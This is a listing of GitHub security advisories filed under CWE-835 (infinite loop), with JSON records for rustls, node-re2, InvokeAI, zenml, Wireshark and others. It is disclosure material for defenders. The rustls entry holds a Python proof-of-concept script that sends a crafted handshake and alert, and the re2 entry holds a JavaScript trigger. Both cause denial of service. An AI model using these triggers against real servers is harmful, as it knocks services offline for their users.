CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1143 vulnerabilities reference this CWE, most recent first.
GHSA-6F5R-W59M-9JM4
Vulnerability from github – Published: 2024-03-12 18:31 – Updated: 2024-03-12 18:31Windows Hyper-V Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-21408"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-12T17:15:50Z",
"severity": "MODERATE"
},
"details": "Windows Hyper-V Denial of Service Vulnerability",
"id": "GHSA-6f5r-w59m-9jm4",
"modified": "2024-03-12T18:31:12Z",
"published": "2024-03-12T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21408"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21408"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6F6X-F56Q-5XGV
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:29A Denial of Service (DoS) vulnerability in the multipart request boundary processing mechanism of the Invoke-AI server (version v5.0.1) allows unauthenticated attackers to cause excessive resource consumption. The server fails to handle excessive characters appended to the end of multipart boundaries, leading to an infinite loop and a complete denial of service for all users. The affected endpoint is /api/v1/images/upload.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "InvokeAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10821"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T16:29:33Z",
"nvd_published_at": "2025-03-20T10:15:20Z",
"severity": "HIGH"
},
"details": "A Denial of Service (DoS) vulnerability in the multipart request boundary processing mechanism of the Invoke-AI server (version v5.0.1) allows unauthenticated attackers to cause excessive resource consumption. The server fails to handle excessive characters appended to the end of multipart boundaries, leading to an infinite loop and a complete denial of service for all users. The affected endpoint is `/api/v1/images/upload`.",
"id": "GHSA-6f6x-f56q-5xgv",
"modified": "2025-03-21T16:29:33Z",
"published": "2025-03-20T12:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10821"
},
{
"type": "WEB",
"url": "https://github.com/invoke-ai/InvokeAI"
},
{
"type": "WEB",
"url": "https://github.com/invoke-ai/InvokeAI/blob/807f458f13e7693ada2fb929c2d513950611fe9c/invokeai/app/api/routers/images.py#L29"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/0ac24835-c4c0-4f11-938a-d5641dfb80b2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "InvokeAI has Denial of Service (DoS) vulnerability in `/api/v1/images/upload`"
}
GHSA-6FX5-R2FX-FJCR
Vulnerability from github – Published: 2026-01-14 21:34 – Updated: 2026-01-14 21:34HTTP3 protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.2 allows denial of service
{
"affected": [],
"aliases": [
"CVE-2026-0960"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-14T21:15:52Z",
"severity": "MODERATE"
},
"details": "HTTP3 protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.2 allows denial of service",
"id": "GHSA-6fx5-r2fx-fjcr",
"modified": "2026-01-14T21:34:10Z",
"published": "2026-01-14T21:34:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0960"
},
{
"type": "WEB",
"url": "https://gitlab.com/wireshark/wireshark/-/issues/20944"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2026-04.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6G6J-J4QF-CH65
Vulnerability from github – Published: 2026-05-06 12:30 – Updated: 2026-05-19 21:32In the Linux kernel, the following vulnerability has been resolved:
mshv: Fix infinite fault loop on permission-denied GPA intercepts
Prevent infinite fault loops when guests access memory regions without proper permissions. Currently, mshv_handle_gpa_intercept() attempts to remap pages for all faults on movable memory regions, regardless of whether the access type is permitted. When a guest writes to a read-only region, the remap succeeds but the region remains read-only, causing immediate re-fault and spinning the vCPU indefinitely.
Validate intercept access type against region permissions before attempting remaps. Reject writes to non-writable regions and executes to non-executable regions early, returning false to let the VMM handle the intercept appropriately.
This also closes a potential DoS vector where malicious guests could intentionally trigger these fault loops to consume host resources.
{
"affected": [],
"aliases": [
"CVE-2026-43096"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T10:16:23Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmshv: Fix infinite fault loop on permission-denied GPA intercepts\n\nPrevent infinite fault loops when guests access memory regions without\nproper permissions. Currently, mshv_handle_gpa_intercept() attempts to\nremap pages for all faults on movable memory regions, regardless of\nwhether the access type is permitted. When a guest writes to a read-only\nregion, the remap succeeds but the region remains read-only, causing\nimmediate re-fault and spinning the vCPU indefinitely.\n\nValidate intercept access type against region permissions before\nattempting remaps. Reject writes to non-writable regions and executes to\nnon-executable regions early, returning false to let the VMM handle the\nintercept appropriately.\n\nThis also closes a potential DoS vector where malicious guests could\nintentionally trigger these fault loops to consume host resources.",
"id": "GHSA-6g6j-j4qf-ch65",
"modified": "2026-05-19T21:32:01Z",
"published": "2026-05-06T12:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43096"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/02226839079ccc558820a3b25c4c46812927b4ba"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/16cbec24897624051b324aa3a85859c38ca65fde"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6G7W-8WPP-FRHJ
Vulnerability from github – Published: 2024-04-19 19:46 – Updated: 2024-05-21 17:23Summary
rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.
Details
Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.
When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:
eof: falseuntil_handshaked: trueself.is_handshaking(): trueself.wants_write(): falseself.wants_read(): false
PoC
- Run simple server:
cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key -
Run following python script ```python3 #!/usr/bin/env python3
import socket
sock = socket.socket() sock.connect(("localhost", 4443))
print("Sending client hello...")
Fake handshake data of a client hello message.
fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """
def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data
c1 = fake_handshake[i] c2 = fake_handshake[i + 1] i += 2 data.append(int(c1, 16) * 16 + int(c2, 16)) return datadata = parse_fake_handshake()
print("Fake client hello:", data)
sock.send(data)
Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent")
exit(0)
`` 4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning ofrustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.
Also note that the server thread is stuck in this infinite loop even if the client closes the socket.
Impact
This is a DOS.
A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.4"
},
"package": {
"ecosystem": "crates.io",
"name": "rustls"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.3"
},
"package": {
"ecosystem": "crates.io",
"name": "rustls"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.10"
},
"package": {
"ecosystem": "crates.io",
"name": "rustls"
},
"ranges": [
{
"events": [
{
"introduced": "0.21.0"
},
{
"fixed": "0.21.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls"
},
"versions": [
"0.20"
]
}
],
"aliases": [
"CVE-2024-32650"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-19T19:46:57Z",
"nvd_published_at": "2024-04-19T16:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server\u0027s `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n ```python3\n #!/usr/bin/env python3\n \n import socket\n \n sock = socket.socket()\n sock.connect((\"localhost\", 4443))\n \n print(\"Sending client hello...\")\n \n # Fake handshake data of a client hello message.\n fake_handshake = \"\"\"\n 1603 0100 c801 0000 c403 03ec 12dd\n 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n a051 f03c b817 470d 4c54 c5df 7200 001c\n eaea c02b c02f c02c c030 cca9 cca8 c013\n c014 009c 009d 002f 0035 000a 0100 007f\n dada 0000 ff01 0001 0000 0000 1600 1400\n 0011 7777 772e 7769 6b69 7065 6469 612e\n 6f72 6700 1700 0000 2300 0000 0d00 1400\n 1204 0308 0404 0105 0308 0505 0108 0606\n 0102 0100 0500 0501 0000 0000 0012 0000\n 0010 000e 000c 0268 3208 6874 7470 2f31\n 2e31 7550 0000 000b 0002 0100 000a 000a\n 0008 1a1a 001d 0017 0018 1a1a 0001 00\n \"\"\"\n \n \n def parse_fake_handshake():\n i = 0\n data = bytearray()\n while i \u003c len(fake_handshake):\n while i \u003c len(fake_handshake) and fake_handshake[i].isspace():\n i += 1\n if i \u003e= len(fake_handshake):\n return data\n \n c1 = fake_handshake[i]\n c2 = fake_handshake[i + 1]\n i += 2\n \n data.append(int(c1, 16) * 16 + int(c2, 16))\n return data\n \n \n data = parse_fake_handshake()\n \n print(\"Fake client hello:\", data)\n \n sock.send(data)\n \n # Send close_notify alert that we\u0027re closing the connection.\n close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n print(f\"close_notify is {close_data}\")\n sock.send(close_data)\n print(\"close_notify sent\")\n \n exit(0)\n ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n",
"id": "GHSA-6g7w-8wpp-frhj",
"modified": "2024-05-21T17:23:33Z",
"published": "2024-04-19T19:46:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32650"
},
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"
},
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af"
},
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e"
},
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c"
},
{
"type": "WEB",
"url": "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/rustls"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0336.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service Vulnerability in Rustls Library"
}
GHSA-6GG2-JX5V-58C2
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Openwsman, versions up to and including 2.6.9, are vulnerable to infinite loop in process_connection() when parsing specially crafted HTTP requests. A remote, unauthenticated attacker can exploit this vulnerability by sending malicious HTTP request to cause denial of service to openwsman server.
{
"affected": [],
"aliases": [
"CVE-2019-3833"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-14T22:29:00Z",
"severity": "HIGH"
},
"details": "Openwsman, versions up to and including 2.6.9, are vulnerable to infinite loop in process_connection() when parsing specially crafted HTTP requests. A remote, unauthenticated attacker can exploit this vulnerability by sending malicious HTTP request to cause denial of service to openwsman server.",
"id": "GHSA-6gg2-jx5v-58c2",
"modified": "2022-05-13T01:14:27Z",
"published": "2022-05-13T01:14:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3833"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:3940"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:4689"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2019-3833"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1674478"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3833"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2V5HJ355RSKMFQ7GRJAHRZNDVXASF7TA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/B2HEZ7D7GF3HDF36JLGYXIK5URR66DS4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CXQP7UDPRZIZ4LM7FEJCTC2EDUYVOR2J"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2V5HJ355RSKMFQ7GRJAHRZNDVXASF7TA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B2HEZ7D7GF3HDF36JLGYXIK5URR66DS4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CXQP7UDPRZIZ4LM7FEJCTC2EDUYVOR2J"
},
{
"type": "WEB",
"url": "http://bugzilla.suse.com/show_bug.cgi?id=1122623"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00006.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00065.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107367"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6GMF-2369-C76C
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-06-30 12:51A Denial of Service (DoS) vulnerability in zenml-io/zenml version 0.66.0 allows unauthenticated attackers to cause excessive resource consumption by sending malformed multipart requests with arbitrary characters appended to the end of multipart boundaries. This flaw in the multipart request boundary processing mechanism leads to an infinite loop, resulting in a complete denial of service for all users. Affected endpoints include /api/v1/login and /api/v1/device_authorization.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "zenml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.68.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9340"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T03:38:21Z",
"nvd_published_at": "2025-03-20T10:15:48Z",
"severity": "HIGH"
},
"details": "A Denial of Service (DoS) vulnerability in zenml-io/zenml version 0.66.0 allows unauthenticated attackers to cause excessive resource consumption by sending malformed multipart requests with arbitrary characters appended to the end of multipart boundaries. This flaw in the multipart request boundary processing mechanism leads to an infinite loop, resulting in a complete denial of service for all users. Affected endpoints include `/api/v1/login` and `/api/v1/device_authorization`.",
"id": "GHSA-6gmf-2369-c76c",
"modified": "2025-06-30T12:51:38Z",
"published": "2025-03-20T12:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9340"
},
{
"type": "WEB",
"url": "https://github.com/zenml-io/zenml/commit/cba152eb9ca3071c8372b0b91c02d9d3351de48d"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/zenml/PYSEC-2025-57.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zenml-io/zenml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/c9200654-7dc0-4c1d-8573-ab79a87fb4f6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ZenML unauthenticated DoS via Multipart Boundry"
}
GHSA-6GWM-Q2FH-QVHR
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53NVIDIA GPU Display Driver contains a vulnerability in the DirectX and OpenGL Usermode drivers where a specially crafted pixel shader can cause infinite recursion leading to denial of service.
{
"affected": [],
"aliases": [
"CVE-2018-6253"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-02T16:29:00Z",
"severity": "MODERATE"
},
"details": "NVIDIA GPU Display Driver contains a vulnerability in the DirectX and OpenGL Usermode drivers where a specially crafted pixel shader can cause infinite recursion leading to denial of service.",
"id": "GHSA-6gwm-q2fh-qvhr",
"modified": "2022-05-13T01:53:04Z",
"published": "2022-05-13T01:53:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6253"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3662-1"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0522"
},
{
"type": "WEB",
"url": "http://nvidia.custhelp.com/app/answers/detail/a_id/4649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6HXR-MR5R-9836
Vulnerability from github – Published: 2026-07-31 16:53 – Updated: 2026-07-31 16:53Summary
String.prototype.match with a global RE2 collects all matches in a native loop that advances the cursor by the match length. A zero-width (empty) match has length 0, so the cursor never advances: the same empty match is found forever and appended to an ever-growing native vector. Any pattern that can match the empty string (a*, b?, x{0,3}, (a)|, (?:), …) therefore causes an infinite loop with unbounded memory growth. The call is synchronous native code, so it blocks the entire event loop and cannot be interrupted by try/catch, AbortController, --max-old-space-size, or timers — the process must be killed externally. This diverges from the built-in engine, where 'xxxx'.match(/a*/g) returns a finite array.
Root cause
// lib/match.cc:44 — global branch of WrappedRE2::Match
while (re2->regexp.Match(str, byteIndex, str.size, anchor, &match, 1)) {
groups.push_back(match);
byteIndex = match.data() - str.data + match.size(); // += 0 for a zero-width match
}
When match.size() == 0, byteIndex is unchanged, so the next iteration matches the same empty position again; groups grows without bound. The other iteration paths already guard this: lib/split.cc:50-55 advances by getUtf8CharSize on an empty match, and exec advances lastIndex. Only this global Match loop is missing the guard.
Proof of concept
const RE2 = require('re2');
'x'.match(new RE2('a*', 'g')); // never returns; grows memory until OOM
// also: 'b?', 'x{0,3}', '(a)|', 'c*d*', '(?:)'; empty subject '' triggers it too
Compare with the built-in engine, which terminates:
'xxxx'.match(/a*/g); // -> ["", "", "", "", ""]
Measured on a clean npm install re2@1.25.1 (latest), stock prebuilt binary: resident memory grew ~550 MB → 2.3 GB in ~3 seconds at 100% CPU, and the process had to be SIGKILLed externally.
Impact
Denial of service. Reachable remotely and without authentication wherever an application runs a global RE2 through String.prototype.match and either the pattern or the subject is attacker-influenced — e.g. a user-supplied regular expression, or a fixed empty-matchable pattern applied to user input. Because the loop blocks the event loop and exhausts memory in seconds, a single request can wedge a worker and, via memory exhaustion, affect the whole host.
Suggested fix
Mirror the empty-match handling already present in split.cc: when the match is zero-width, advance the cursor by one code point.
// lib/match.cc, inside the global while-loop
groups.push_back(match);
size_t off = match.data() - str.data;
if (match.size()) {
byteIndex = off + match.size();
} else {
byteIndex = off + (off < str.size ? getUtf8CharSize(str.data[off]) : 1);
}
Resolution
Fixed in re2 1.25.2.
The global match loop in lib/match.cc now advances the cursor by one Unicode
code point when a match is zero-width, so a pattern that can match the empty
string terminates with a finite result identical to the built-in engine
('xxxx'.match(/a*/g) returns five empty strings). This mirrors the guard
already present in split.
Remediation: upgrade to re2@1.25.2 or later.
Workaround (if you cannot upgrade): do not run a global RE2 through
String.prototype.match when the pattern is attacker-influenced or can match
the empty string. Iterate with matchAll/exec, or use the non-global form;
both already advanced the cursor correctly.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.25.1"
},
"package": {
"ecosystem": "npm",
"name": "re2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68499"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:53:08Z",
"nvd_published_at": "2026-07-30T21:18:12Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`String.prototype.match` with a **global** `RE2` collects all matches in a native loop that advances the cursor by the match length. A **zero-width (empty) match** has length 0, so the cursor never advances: the same empty match is found forever and appended to an ever-growing native vector. Any pattern that can match the empty string (`a*`, `b?`, `x{0,3}`, `(a)|`, `(?:)`, \u2026) therefore causes an infinite loop with unbounded memory growth. The call is synchronous native code, so it blocks the entire event loop and cannot be interrupted by `try/catch`, `AbortController`, `--max-old-space-size`, or timers \u2014 the process must be killed externally. This diverges from the built-in engine, where `\u0027xxxx\u0027.match(/a*/g)` returns a finite array.\n\n## Root cause\n\n```cpp\n// lib/match.cc:44 \u2014 global branch of WrappedRE2::Match\nwhile (re2-\u003eregexp.Match(str, byteIndex, str.size, anchor, \u0026match, 1)) {\n groups.push_back(match);\n byteIndex = match.data() - str.data + match.size(); // += 0 for a zero-width match\n}\n```\n\nWhen `match.size() == 0`, `byteIndex` is unchanged, so the next iteration matches the same empty position again; `groups` grows without bound. The other iteration paths already guard this: `lib/split.cc:50-55` advances by `getUtf8CharSize` on an empty match, and `exec` advances `lastIndex`. Only this global `Match` loop is missing the guard.\n\n## Proof of concept\n\n```js\nconst RE2 = require(\u0027re2\u0027);\n\u0027x\u0027.match(new RE2(\u0027a*\u0027, \u0027g\u0027)); // never returns; grows memory until OOM\n// also: \u0027b?\u0027, \u0027x{0,3}\u0027, \u0027(a)|\u0027, \u0027c*d*\u0027, \u0027(?:)\u0027; empty subject \u0027\u0027 triggers it too\n```\n\nCompare with the built-in engine, which terminates:\n\n```js\n\u0027xxxx\u0027.match(/a*/g); // -\u003e [\"\", \"\", \"\", \"\", \"\"]\n```\n\nMeasured on a clean `npm install re2@1.25.1` (latest), stock prebuilt binary: resident memory grew **~550 MB \u2192 2.3 GB in ~3 seconds** at 100% CPU, and the process had to be `SIGKILL`ed externally.\n\n## Impact\n\nDenial of service. Reachable remotely and without authentication wherever an application runs a **global** `RE2` through `String.prototype.match` and either the pattern or the subject is attacker-influenced \u2014 e.g. a user-supplied regular expression, or a fixed empty-matchable pattern applied to user input. Because the loop blocks the event loop and exhausts memory in seconds, a single request can wedge a worker and, via memory exhaustion, affect the whole host.\n\n## Suggested fix\n\nMirror the empty-match handling already present in `split.cc`: when the match is zero-width, advance the cursor by one code point.\n\n```cpp\n// lib/match.cc, inside the global while-loop\ngroups.push_back(match);\nsize_t off = match.data() - str.data;\nif (match.size()) {\n byteIndex = off + match.size();\n} else {\n byteIndex = off + (off \u003c str.size ? getUtf8CharSize(str.data[off]) : 1);\n}\n```\n\n## Resolution\n\nFixed in re2 1.25.2.\n\nThe global match loop in `lib/match.cc` now advances the cursor by one Unicode\ncode point when a match is zero-width, so a pattern that can match the empty\nstring terminates with a finite result identical to the built-in engine\n(`\u0027xxxx\u0027.match(/a*/g)` returns five empty strings). This mirrors the guard\nalready present in `split`.\n\n**Remediation:** upgrade to `re2@1.25.2` or later.\n\n**Workaround** (if you cannot upgrade): do not run a global `RE2` through\n`String.prototype.match` when the pattern is attacker-influenced or can match\nthe empty string. Iterate with `matchAll`/`exec`, or use the non-global form;\nboth already advanced the cursor correctly.",
"id": "GHSA-6hxr-mr5r-9836",
"modified": "2026-07-31T16:53:08Z",
"published": "2026-07-31T16:53:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/node-re2/security/advisories/GHSA-6hxr-mr5r-9836"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68499"
},
{
"type": "WEB",
"url": "https://github.com/uhop/node-re2/commit/56293de4fc0914d7bc35f92e98de25b0d9bb417d"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/node-re2"
},
{
"type": "WEB",
"url": "https://github.com/uhop/node-re2/releases/tag/1.25.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "re2: Global `String.prototype.match` with an empty-matchable pattern never advances \u2192 infinite loop with unbounded native memory growth (DoS)"
}
GHSA-6J33-J6F3-F667
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44Timergrp module in Huawei DP300 V500R002C00; RP200 V500R002C00; V600R006C00; TE30 V100R001C10; V500R002C00; V600R006C00; TE40 V500R002C00; V600R006C00; TE50 V500R002C00; V600R006C00; TE60 V100R001C10; V500R002C00; V600R006C00 have an DoS vulnerability due to insufficient validation of the parameter. An authenticated local attacker may call a special API with special parameter, which cause an infinite loop. Successful exploit of this vulnerability can allow an attacker to launch DOS attack.
{
"affected": [],
"aliases": [
"CVE-2017-17150"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-09T17:29:00Z",
"severity": "MODERATE"
},
"details": "Timergrp module in Huawei DP300 V500R002C00; RP200 V500R002C00; V600R006C00; TE30 V100R001C10; V500R002C00; V600R006C00; TE40 V500R002C00; V600R006C00; TE50 V500R002C00; V600R006C00; TE60 V100R001C10; V500R002C00; V600R006C00 have an DoS vulnerability due to insufficient validation of the parameter. An authenticated local attacker may call a special API with special parameter, which cause an infinite loop. Successful exploit of this vulnerability can allow an attacker to launch DOS attack.",
"id": "GHSA-6j33-j6f3-f667",
"modified": "2022-05-13T01:44:17Z",
"published": "2022-05-13T01:44:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17150"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171220-01-vpp-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
